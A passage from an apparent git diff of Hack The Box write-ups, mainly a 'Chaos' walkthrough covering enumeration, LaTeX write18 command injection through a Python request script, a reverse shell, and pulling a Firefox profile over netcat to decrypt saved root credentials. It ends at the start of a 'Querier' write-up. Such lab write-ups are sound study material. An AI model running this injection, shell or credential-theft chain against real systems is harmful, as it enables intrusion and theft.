2018-10-28T10:01:49 + |_Not valid after: 2028-10-25T10:01:49 + |_ssl-date: TLS randomness does not represent time + 143/tcp open imap Dovecot imapd (Ubuntu) + |_imap-capabilities: SASL-IR more STARTTLS LOGINDISABLEDA0001 post-login Pre-login listed LOGIN-REFERRALS IDLE ID have capabilities ENABLE IMAP4rev1 OK LITERAL+ + | ssl-cert: Subject: commonName=chaos + | Subject Alternative Name: DNS:chaos + | Not valid before: 2018-10-28T10:01:49 + |_Not valid after: 2028-10-25T10:01:49 + |_ssl-date: TLS randomness does not represent time + 993/tcp open ssl/imap Dovecot imapd (Ubuntu) + |_imap-capabilities: SASL-IR more Pre-login post-login OK listed LOGIN-REFERRALS IDLE AUTH=PLAINA0001 have capabilities ENABLE IMAP4rev1 ID LITERAL+ + | ssl-cert: Subject: commonName=chaos + | Subject Alternative Name: DNS:chaos + | Not valid before: 2018-10-28T10:01:49 + |_Not valid after: 2028-10-25T10:01:49 + |_ssl-date: TLS randomness does not represent time + 995/tcp open ssl/pop3 Dovecot pop3d + |_pop3-capabilities: SASL(PLAIN) AUTH-RESP-CODE UIDL USER PIPELINING TOP CAPA RESP-CODES + | ssl-cert: Subject: commonName=chaos + | Subject Alternative Name: DNS:chaos + | Not valid before: 2018-10-28T10:01:49 + |_Not valid after: 2028-10-25T10:01:49 + |_ssl-date: TLS randomness does not represent time + 10000/tcp open http MiniServ 1.890 (Webmin httpd) + |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 45.60 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's add the chaos.htb hostname to our /etc/hosts file and browse to it: + +![](prg/38_001.png) + +sadly this is just a generic webpage with nothing really interesting on it. So instead we check out the port 10000 which reveals us the webmin service: + +![](prg/38_002.png) + +this webpage doesn't hint us towards any CVE nor can we guess the credentials, so we gobust the website instead: + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~] + └→ gobuster dir -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -s 200,204,301,302 -u http://10.10.10.120 + /wp (Status: 301) + /javascript (Status: 301) + + + +Even though browsing to 10.10.10.120 gives us the "no direct IP allowed" there was still a wordpress website for us to find! so checking it out : + +![](prg/38_003.png) + +As expected we have a wordpress website. It only has a password protected post in there, so we scan the website using wpscan: + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~] + └→ wpscan --url http://10.10.10.120/wp/wordpress + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.7.9 + Sponsored by Automattic - https://automattic.com/ + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [...] + + Interesting Finding(s): + + [+] Headers + | Interesting Entry: Server: Apache/2.4.34 (Ubuntu) + | Found By: Headers (Passive Detection) + | Confidence: 100% + + [+] XML-RPC seems to be enabled: http://10.10.10.120/wp/wordpress/xmlrpc.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + | References: + | - http://codex.wordpress.org/XML-RPC_Pingback_API + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner + | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access + + [+] http://10.10.10.120/wp/wordpress/readme.html + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + + [+] http://10.10.10.120/wp/wordpress/wp-cron.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 60% + | References: + | - https://www.iplocation.net/defend-wordpress-from-ddos + | - https://github.com/wpscanteam/wpscan/issues/1299 + + [+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02). + | Found By: Rss Generator (Passive Detection) + | - http://10.10.10.120/wp/wordpress/index.php/feed/, https://wordpress.org/?v=4.9.8 + | - http://10.10.10.120/wp/wordpress/index.php/comments/feed/, https://wordpress.org/?v=4.9.8 + + [+] WordPress theme in use: twentyseventeen + | Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/ + | Last Updated: 2020-02-25T00:00:00.000Z + | Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt + | [!] The version is out of date, the latest version is 2.2 + | Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8 + | Style Name: Twenty Seventeen + | Style URI: https://wordpress.org/themes/twentyseventeen/ + | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... + | Author: the WordPress team + | Author URI: https://wordpress.org/ + | + | Found By: Css Style In Homepage (Passive Detection) + | + | Version: 1.7 (80% confidence) + | Found By: Style (Passive Detection) + | - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7' + + [+] Enumerating All Plugins (via Passive Methods) + + [i] No plugins Found. + + [+] Enumerating Config Backups (via Passive and Aggressive Methods) + Checking Config Backups - Time: 00:00:00 <===> (21 / 21) 100.00% Time: 00:00:00 + + [i] No Config Backups Found. + + [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up + + [+] Finished: Wed Apr 1 18:08:43 2020 + [+] Requests Done: 51 + [+] Cached Requests: 5 + [+] Data Sent: 12.352 KB + [+] Data Received: 290.885 KB + [+] Memory used: 199.727 MB + [+] Elapsed time: 00:00:08 + + + +Not much interesting results here, the trick here was that we had to find the username human and use it as a password: + +![](prg/38_004.png) ![](prg/38_005.png) + + + username – ayush + password – jiujitsu + + +Once decrypted, we have credentials to use on the email service which was referenced in a note we found earlier so we will go to the subdomain webmail.chaos.htb and use those credentials there after we added it to our hosts file: + +![](prg/38_006.png) + +Once logged in as ayush we have access to his webmail and to a particular draft message that contains the username "sahay" with an encrypted textfile and the python script used to decrypt it: + +![](prg/38_007.png) + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ mv ~/Downloads/en.py . && mv ~/Downloads/enim_msg.txt . + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ ls + enim_msg.txt en.py + + +The python script is an AES CBC encrypting script: + + + def encrypt(key, filename): + chunksize = 64*1024 + outputFile = "en" + filename + filesize = str(os.path.getsize(filename)).zfill(16) + IV =Random.new().read(16) + + encryptor = AES.new(key, AES.MODE_CBC, IV) + + with open(filename, 'rb') as infile: + with open(outputFile, 'wb') as outfile: + outfile.write(filesize.encode('utf-8')) + outfile.write(IV) + + while True: + chunk = infile.read(chunksize) + + if len(chunk) == 0: + break + elif len(chunk) % 16 != 0: + chunk += b' ' * (16 - (len(chunk) % 16)) + + outfile.write(encryptor.encrypt(chunk)) + + def getKey(password): + hasher = SHA256.new(password.encode('utf-8')) + return hasher.digest() + + +From there we write our own python script to decrypt the enim_msg.txt file, we'll use [Snowscan's](https://snowscan.io/htb-writeup-chaos) python script which uses the Crypto library: + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ pip install Crypto + Collecting Crypto + Downloading https://files.pythonhosted.org/packages/fc/bb/0b812dc02e6357606228edfbf5808f5ca0a675a84273578c3a199e841cd8/crypto-1.4.1-py2.py3-none-any.whl + Collecting Naked (from Crypto) + Downloading https://files.pythonhosted.org/packages/02/36/b8107b51adca73402ec1860d88f41d958e275e60eea6eeaa9c39ddb89a40/Naked-0.1.31-py2.py3-none-any.whl (590kB) + 100% |████████████████████████████████| 593kB 831kB/s + Collecting shellescape (from Crypto) + Downloading https://files.pythonhosted.org/packages/d0/f4/0081137fceff5779cd4205c1e96657e41cc2d2d56c940dc8eeb6111780f7/shellescape-3.8.1-py2.py3-none-any.whl + Collecting pyyaml (from Naked->Crypto) + Downloading https://files.pythonhosted.org/packages/64/c2/b80047c7ac2478f9501676c988a5411ed5572f35d1beff9cae07d321512c/PyYAML-5.3.1.tar.gz (269kB) + 100% |████████████████████████████████| 276kB 1.3MB/s + Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from Naked->Crypto) (2.22.0) + Building wheels for collected packages: pyyaml + Running setup.py bdist_wheel for pyyaml ... done + Stored in directory: /home/nihilist/.cache/pip/wheels/a7/c1/ea/cf5bd31012e735dc1dfea3131a2d5eae7978b251083d6247bd + Successfully built pyyaml + Installing collected packages: pyyaml, Naked, shellescape, Crypto + Successfully installed Crypto-1.4.1 Naked-0.1.31 pyyaml-5.3.1 shellescape-3.8.1 + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ nano decrypt.py + + + + from Crypto import Random + from Crypto.Cipher import AES + from Crypto.Hash import SHA256 + + def getKey(password): + hasher=SHA256.new(password) + return hasher.digest() + + with open('enim_msg.txt') as f: + c = f.read() + + filesize = int(c[:16]) + print("filesize: %d" % filesize) + iv = c[16:32] + print("IV: %s" % iv) + key = getKey("sahay") + cipher = AES.new(key,AES.MODE_CBC,iv) + print(cipher.decrypt(c[32:])) + + +` ![](prg/38_008.png) + +And with the decrypted message we are now hinted towards a hidden directory : + + + http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 + + + +Going there we see a PDF making webpage using an ajax php script to generate said pdf files. + +![](prg/38_009.png) + +So let's use burpsuite to intercept the request in order to send it to the repeater (CTRL+R) and go there (CTRL+SHIFT+R) + +![](prg/38_010.png) + +Once there we send the request and see that the webpage is using LaTeX to generate our pdf files. Therefore we can try to do some arbitrary commands using LaTeX: + +![](prg/38_011.png) + +Although as you can see a few commands are blacklisted: + +![](prg/38_012.png) ![](prg/38_013.png) + +The trick here was, that we could use the following command : + + + \immediate\write18{id} + + + +` ![](prg/38_014.png) + +As you can see we have been able to execute the "id" command, which gave us a hint that we could get cmd execution as www-data. For this next part we'll use [Snowscan's](https://snowscan.io/htb-writeup-chaos) python script that sends the request, but also uses regular expressions to remove the excessive amount of data: + + + import re + import requests + + headers = { + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Cookie': 'redirect=1' + } + + while(True): + cmd=raw_input('> ') + + data = { + 'content': '\\immediate\\write18{%s}' % cmd, + 'template': 'test1' + } + + r = requests.post('http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php', headers=headers,data=data) + out = r.text + m = re.search('.*\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd\)\n\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd\)(.*)\[1',out, re.MULTILINE|re.DOTALL) + if m: + print(m.group(1)) + + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ python snowscan_is_awesome.py + > id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + > ls -lash /home + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Oct 28 2018 . + 4.0K drwxr-xr-x 22 root root 4.0K Dec 9 2018 .. + 4.0K drwx------ 5 ayush ayush 4.0K Nov 24 2018 ayush + 4.0K drwx------ 5 sahay sahay 4.0K Nov 24 2018 sahay + + > which nc + /bin/nc + + + +As expected we have 2 users on the box, ayush and sahay. And we have netcat there so we can try to use it to get a reverse shell onto the box but unfortunately that doesnt work so we could upload our own netcat binary there in /tmp and use it to get ourselves a reverse shell like snowscan did, but since python is there on the machine we'll just use a python one liner instead: + +![](prg/38_015.png) + +And we are logged in as www-data ! lets privesc to the user ayush since we know his password "jiujitsu" + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ nc -lvnp 9001 + Listening on 0.0.0.0 9001 + Connection received on 10.10.10.120 36402 + /bin/sh: 0: can't access tty; job control turned off + $ id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + $ su -l ayush + su: must be run from a terminal + $ python -c 'import pty;pty.spawn("/bin/bash")' + www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ cd / + cd / + www-data@chaos:/$ su -l ayush + su -l ayush + Password: jiujitsu + + ayush@chaos:~$ cat user.txt + cat user.txt + Command 'cat' is available in '/bin/cat' + The command could not be located because '/bin' is not included in the PATH environment variable. + cat: command not found + + + +2 things here, first we had to spawn a TTY shell using python's pty module, then we have been able to privesc to the user ayush, however from here we cannot use "cat" because the PATH environment variable hasn't been properly set, so we fix it ourselves: + + + ayush@chaos:~$ cat user.txt + cat user.txt + Command 'cat' is available in '/bin/cat' + The command could not be located because '/bin' is not included in the PATH environment variable. + cat: command not found + + ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin + + ayush@chaos:~$ cat user.txt + cat user.txt + eeXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc on this box we can use the Firefox credentials path, which consists in remembering that we had a webmin application running, and that by default the root user credentials are used to log in to the application. In ayush's home directory there is a .mozilla folder that contains encrypted firefox credentials in logins.json: + + + ayush@chaos:~$ ls -lash + ls -lash + total 40K + 4.0K drwx------ 6 ayush ayush 4.0K Apr 2 12:13 . + 4.0K drwxr-xr-x 4 root root 4.0K Oct 28 2018 .. + 4.0K drwxr-xr-x 2 root root 4.0K Oct 28 2018 .app + 0 -rw------- 1 root root 0 Nov 24 2018 .bash_history + 4.0K -rw-r--r-- 1 ayush ayush 220 Oct 28 2018 .bash_logout + 4.0K -rwxr-xr-x 1 root root 22 Oct 28 2018 .bashrc + 4.0K drwx------ 3 ayush ayush 4.0K Apr 2 12:13 .gnupg + 4.0K drwx------ 3 ayush ayush 4.0K Apr 2 11:34 mail + 4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 .mozilla + 4.0K -rw-r--r-- 1 ayush ayush 807 Oct 28 2018 .profile + 4.0K -rw------- 1 ayush ayush 33 Oct 28 2018 user.txt + ayush@chaos:~$ cd .mozilla + cd .mozilla + ayush@chaos:~/.mozilla$ ls -lash + ls -lash + total 16K + 4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 . + 4.0K drwx------ 6 ayush ayush 4.0K Apr 2 12:13 .. + 4.0K drwx------ 2 ayush ayush 4.0K Sep 29 2018 extensions + 4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 firefox + ayush@chaos:~/.mozilla$ cd firefox + cd firefox + ayush@chaos:~/.mozilla/firefox$ ls -lash + ls -lash + total 20K + 4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 . + 4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 .. + 4.0K drwx------ 10 ayush ayush 4.0K Oct 27 2018 bzo7sjt1.default + 4.0K drwx------ 4 ayush ayush 4.0K Oct 15 2018 'Crash Reports' + 4.0K -rw-r--r-- 1 ayush ayush 104 Sep 29 2018 profiles.ini + ayush@chaos:~/.mozilla/firefox$ cd bzo7sjt1.default + cd bzo7sjt1.default + ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ ls -lash + ls -lash + total 15M + 4.0K drwx------ 10 ayush ayush 4.0K Oct 27 2018 . + 4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 .. + 4.0K -rw------- 1 ayush ayush 24 Oct 27 2018 addons.json + 4.0K -rw-r--r-- 1 ayush ayush 222 Oct 27 2018 AlternateServices.txt + 560K -rw------- 1 ayush ayush 559K Oct 11 2018 blocklist-addons.json + 28K -rw------- 1 ayush ayush 28K Oct 7 2018 blocklist-gfx.json + 136K -rw------- 1 ayush ayush 136K Oct 7 2018 blocklist-plugins.json + 420K -rw------- 1 ayush ayush 420K Oct 25 2018 blocklist.xml + 4.0K drwx------ 2 ayush ayush 4.0K Oct 27 2018 bookmarkbackups + 92K -rw------- 1 ayush ayush 92K Oct 27 2018 cert9.db + 4.0K -rw------- 1 ayush ayush 362 Oct 27 2018 cert_override.txt + 4.0K -rw------- 1 ayush ayush 170 Sep 29 2018 compatibility.ini + 4.0K -rw------- 1 ayush ayush 809 Sep 29 2018 containers.json + 224K -rw-r--r-- 1 ayush ayush 224K Oct 24 2018 content-prefs.sqlite + 512K -rw-r--r-- 1 ayush ayush 512K Oct 27 2018 cookies.sqlite + 32K -rw-r--r-- 1 ayush ayush 32K Oct 27 2018 cookies.sqlite-shm + 0 -rw-r--r-- 1 ayush ayush 0 Oct 27 2018 cookies.sqlite-wal + 4.0K drwx------ 3 ayush ayush 4.0K Oct 27 2018 crashes + 4.0K drwx------ 3 ayush ayush 4.0K Oct 27 2018 datareporting + 4.0K -rw-r--r-- 1 ayush ayush 167 Sep 29 2018 extensions.ini + 8.0K -rw------- 1 ayush ayush 5.6K Oct 27 2018 extensions.json + 192K -rw-r--r-- 1 ayush ayush 192K Oct 24 2018 formhistory.sqlite + 4.0K drwx------ 3 ayush ayush 4.0K Sep 29 2018 gmp + 36K -rw------- 1 ayush ayush 36K Oct 27 2018 key4.db + 1.3M -rw-r--r-- 1 ayush ayush 1.3M Oct 11 2018 kinto.sqlite + **4.0K -rw------- 1 ayush ayush 570 Oct 27 2018 logins.json** + 4.0K -rw-r--r-- 1 ayush ayush 3.7K Sep 29 2018 mimeTypes.rdf + 4.0K drwx------ 2 ayush ayush 4.0K Oct 25 2018 minidumps + 0 -rw-r--r-- 1 root root 0 Oct 27 2018 .parentlock + 96K -rw-r--r-- 1 ayush ayush 96K Sep 29 2018 permissions.sqlite + 4.0K -rw------- 1 ayush ayush 868 Sep 29 2018 pkcs11.txt + 10M -rw-r--r-- 1 ayush ayush 10M Oct 27 2018 places.sqlite + 32K -rw-r--r-- 1 ayush ayush 32K Oct 27 2018 places.sqlite-shm + 36K -rw-r--r-- 1 ayush ayush 33K Oct 27 2018 places.sqlite-wal + 4.0K -rw------- 1 ayush ayush 469 Sep 29 2018 pluginreg.dat + 12K -rw------- 1 ayush ayush 12K Oct 27 2018 prefs.js + 44K -rw-r--r-- 1 ayush ayush 43K Oct 11 2018 revocations.txt + 4.0K drwx------ 2 ayush ayush 4.0K Oct 26 2018 saved-telemetry-pings + 20K -rw------- 1 ayush ayush 17K Sep 29 2018 search.json.mozlz4 + 0 -rw-r--r-- 1 ayush ayush 0 Oct 27 2018 SecurityPreloadState.txt + 4.0K -rw------- 1 ayush ayush 90 Oct 27 2018 sessionCheckpoints.json + 4.0K drwx------ 2 ayush ayush 4.0K Oct 27 2018 sessionstore-backups + 8.0K -rw-r--r-- 1 ayush ayush 5.3K Oct 27 2018 SiteSecurityServiceState.txt + 4.0K drwxr-xr-x 5 ayush ayush 4.0K Oct 9 2018 storage + 4.0K -rw-r--r-- 1 ayush ayush 512 Sep 29 2018 storage.sqlite + 4.0K -rwx------ 1 ayush ayush 29 Sep 29 2018 times.json + 256K -rw-r--r-- 1 ayush ayush 256K Oct 27 2018 webappsstore.sqlite + 32K -rw-r--r-- 1 ayush ayush 32K Oct 27 2018 webappsstore.sqlite-shm + 0 -rw-r--r-- 1 ayush ayush 0 Oct 27 2018 webappsstore.sqlite-wal + 4.0K -rw------- 1 ayush ayush 1.1K Oct 27 2018 xulstore.json + + +So we print out his logins.json file : + + + ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json + cat logins.json + {"nextId":3,"logins":[{"id":2,"hostname":"**https://chaos.htb:10000** ","httpRealm":null,**"formSubmitURL":"https://chaos.htb:10000"** ,"usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2} + + +Looking at logins.json we see that hte formSubmitURL is https://chaos.htb:10000 which is the webmin application we found earlier, So the idea here is, since tar is there on the box : + + + ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ which tar + which tar + /bin/tar + + +We can tar-compress ayush's entire firefox profile directory, and send it to our machine using netcat: + + + **ayush@chaos:~/.mozilla/firefox$ tar -zcvf ayush.tar.gz bzo7sjt1.default** + tar -zcvf ayush.tar.gz bzo7sjt1.default + bzo7sjt1.default/ + bzo7sjt1.default/cookies.sqlite + bzo7sjt1.default/places.sqlite + bzo7sjt1.default/webappsstore.sqlite + bzo7sjt1.default/permissions.sqlite + bzo7sjt1.default/sessionstore-backups/ + tar: bzo7sjt1.default/sessionstore-backups/recovery.js: Cannot open: Permission denied + tar: bzo7sjt1.default/sessionstore-backups/upgrade.js-20180326230345: Cannot open: Permission denied + tar: bzo7sjt1.default/sessionstore-backups/previous.js: Cannot open: Permission denied + tar: bzo7sjt1.default/sessionstore-backups/recovery.bak: Cannot open: Permission denied + bzo7sjt1.default/bookmarkbackups/ + tar: bzo7sjt1.default/bookmarkbackups/bookmarks-2018-09-29_23_KNEJR-waZJZwUVshUNhFqg==.jsonlz4: Cannot open: Permission denied + tar: bzo7sjt1.default/bookmarkbackups/bookmarks-2018-10-27_24_0UTpOFh1V6tsL2fi6cyvng==.jsonlz4: Cannot open: Permission denied + bzo7sjt1.default/cookies.sqlite-wal + bzo7sjt1.default/formhistory.sqlite + bzo7sjt1.default/webappsstore.sqlite-shm + bzo7sjt1.default/storage.sqlite + bzo7sjt1.default/cert_override.txt + bzo7sjt1.default/gmp/ + tar: bzo7sjt1.default/gmp/Linux_x86_64-gcc3: Cannot open: Permission denied + bzo7sjt1.default/blocklist.xml + bzo7sjt1.default/cookies.sqlite-shm + bzo7sjt1.default/search.json.mozlz4 + bzo7sjt1.default/AlternateServices.txt + bzo7sjt1.default/content-prefs.sqlite + bzo7sjt1.default/cert9.db + bzo7sjt1.default/storage/ + bzo7sjt1.default/storage/temporary/ + bzo7sjt1.default/storage/default/ + bzo7sjt1.default/storage/default/https+++www.google.com/ + bzo7sjt1.default/storage/default/https+++www.google.com/.metadata-v2 + bzo7sjt1.default/storage/default/https+++www.google.com/idb/ + bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.sqlite + bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.files/ + bzo7sjt1.default/storage/default/https+++www.google.com/.metadata + bzo7sjt1.default/storage/permanent/ + bzo7sjt1.default/storage/permanent/chrome/ + bzo7sjt1.default/storage/permanent/chrome/.metadata-v2 + bzo7sjt1.default/storage/permanent/chrome/idb/ + bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.sqlite + bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.files/ + bzo7sjt1.default/storage/permanent/chrome/.metadata + bzo7sjt1.default/datareporting/ + tar: bzo7sjt1.default/datareporting/session-state.json: Cannot open: Permission denied + tar: bzo7sjt1.default/datareporting/state.json: Cannot open: Permission denied + tar: bzo7sjt1.default/datareporting/archived: Cannot open: Permission denied + tar: bzo7sjt1.default/datareporting/aborted-session-ping: Cannot open: Permission denied + bzo7sjt1.default/pkcs11.txt + bzo7sjt1.default/logins.json + bzo7sjt1.default/extensions.ini + bzo7sjt1.default/compatibility.ini + bzo7sjt1.default/minidumps/ + bzo7sjt1.default/blocklist-gfx.json + bzo7sjt1.default/.parentlock + bzo7sjt1.default/sessionCheckpoints.json + bzo7sjt1.default/prefs.js + bzo7sjt1.default/addons.json + bzo7sjt1.default/xulstore.json + bzo7sjt1.default/revocations.txt + bzo7sjt1.default/extensions.json + bzo7sjt1.default/places.sqlite-shm + bzo7sjt1.default/key4.db + bzo7sjt1.default/crashes/ + tar: bzo7sjt1.default/crashes/events: Cannot open: Permission denied + tar: bzo7sjt1.default/crashes/store.json.mozlz4: Cannot open: Permission denied + bzo7sjt1.default/pluginreg.dat + bzo7sjt1.default/places.sqlite-wal + bzo7sjt1.default/webappsstore.sqlite-wal + bzo7sjt1.default/blocklist-plugins.json + bzo7sjt1.default/kinto.sqlite + bzo7sjt1.default/times.json + bzo7sjt1.default/saved-telemetry-pings/ + tar: bzo7sjt1.default/saved-telemetry-pings/f153dbe5-b2e1-46ad-bb38-d0d2e22ab3fe: Cannot open: Permission denied + tar: bzo7sjt1.default/saved-telemetry-pings/dc2f3e22-3710-4da9-9d30-c01f0885a480: Cannot open: Permission denied + tar: bzo7sjt1.default/saved-telemetry-pings/b35e9f24-a4a9-4683-b4ec-1fdaf3533a7a: Cannot open: Permission denied + bzo7sjt1.default/mimeTypes.rdf + bzo7sjt1.default/containers.json + bzo7sjt1.default/SecurityPreloadState.txt + bzo7sjt1.default/SiteSecurityServiceState.txt + bzo7sjt1.default/blocklist-addons.json + tar: Exiting with failure status due to previous errors + ayush@chaos:~/.mozilla/firefox$ ls + ls + **ayush.tar.gz** bzo7sjt1.default 'Crash Reports' profiles.ini + + +Transfer it using netcat and verify they are the same using md5sum: + +![](prg/38_016.png) + +From there we can use [unode's](https://github.com/unode/firefox_decrypt) firefox_decrypt python script to extract passwords from mozilla profiles: + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ tar -xzvf ayush.tar.gz + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ curl -sk https://raw.githubusercontent.com/unode/firefox_decrypt/master/firefox_decrypt.py > firefox_decrypt.py + + ┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos] + └→ python firefox_decrypt.py bzo7sjt1.default + 2020-04-02 13:37:14,021 - WARNING - profile.ini not found in bzo7sjt1.default + 2020-04-02 13:37:14,022 - WARNING - Continuing and assuming 'bzo7sjt1.default' is a profile location + + Master Password for profile bzo7sjt1.default: + + + +Use ayush's password 'jiujitsu': + + + 2020-04-02 13:37:14,021 - WARNING - profile.ini not found in bzo7sjt1.default + 2020-04-02 13:37:14,022 - WARNING - Continuing and assuming 'bzo7sjt1.default' is a profile location + + Master Password for profile bzo7sjt1.default: + + Website: https://chaos.htb:10000 + Username: 'root' + Password: 'Thiv8wrej~' + + +And there we have it ! we can finally privesc to root : + + + ayush@chaos:~/.mozilla/firefox$ cd / + cd / + ayush@chaos:/$ su -l root + su -l root + Password: Thiv8wrej~ + + root@chaos:~# cat root.txt + cat root.txt + 4eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/38_graph.png) + diff --git a/Medium/39.md b/Medium/39.md new file mode 100644 index 0000000..70ce9fa --- /dev/null +++ b/Medium/39.md @@ -0,0 +1,524 @@ +# Querier Writeup + +![](img/39.png) + +## Introduction : + +Querier is a Medium windows box released back in Febuary 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.42/23 ] [ /dev/pts/10 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.125 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + [sudo] password for nihilist: + Discovered open port 445/tcp on 10.10.10.125 + Discovered open port 135/tcp on 10.10.10.125 + Discovered open port 139/tcp on 10.10.10.125 + Discovered open port 49664/tcp on 10.10.10.125 + Discovered open port 49665/tcp on 10.10.10.125 + Discovered open port 49668/tcp on 10.10.10.125 + Discovered open port 49670/tcp on 10.10.10.125 + Discovered open port 5985/tcp on 10.10.10.125 + Discovered open port 49667/tcp on 10.10.10.125 + Discovered open port 47001/tcp on 10.10.10.125 + Discovered open port 49666/tcp on 10.10.10.125 + Discovered open port 1433/tcp on 10.10.10.125 + [ 10.10.14.42/23 ] [ /dev/pts/10 ] [~] + + → nmap -sCV -p445,135,139,5985,1433 10.10.10.125 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-05 10:47 BST + Nmap scan report for 10.10.10.125 + Host is up (0.045s latency). + + PORT STATE SERVICE VERSION + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds? + 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM + | ms-sql-ntlm-info: + | Target_Name: HTB + | NetBIOS_Domain_Name: HTB + | NetBIOS_Computer_Name: QUERIER + | DNS_Domain_Name: HTB.LOCAL + | DNS_Computer_Name: QUERIER.HTB.LOCAL + | DNS_Tree_Name: HTB.LOCAL + |_ Product_Version: 10.0.17763 + | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback + | Not valid before: 2020-04-04T19:54:28 + |_Not valid after: 2050-04-04T19:54:28 + |_ssl-date: 2020-04-05T08:48:17+00:00; -59m27s from scanner time. + 5985/tcp open http 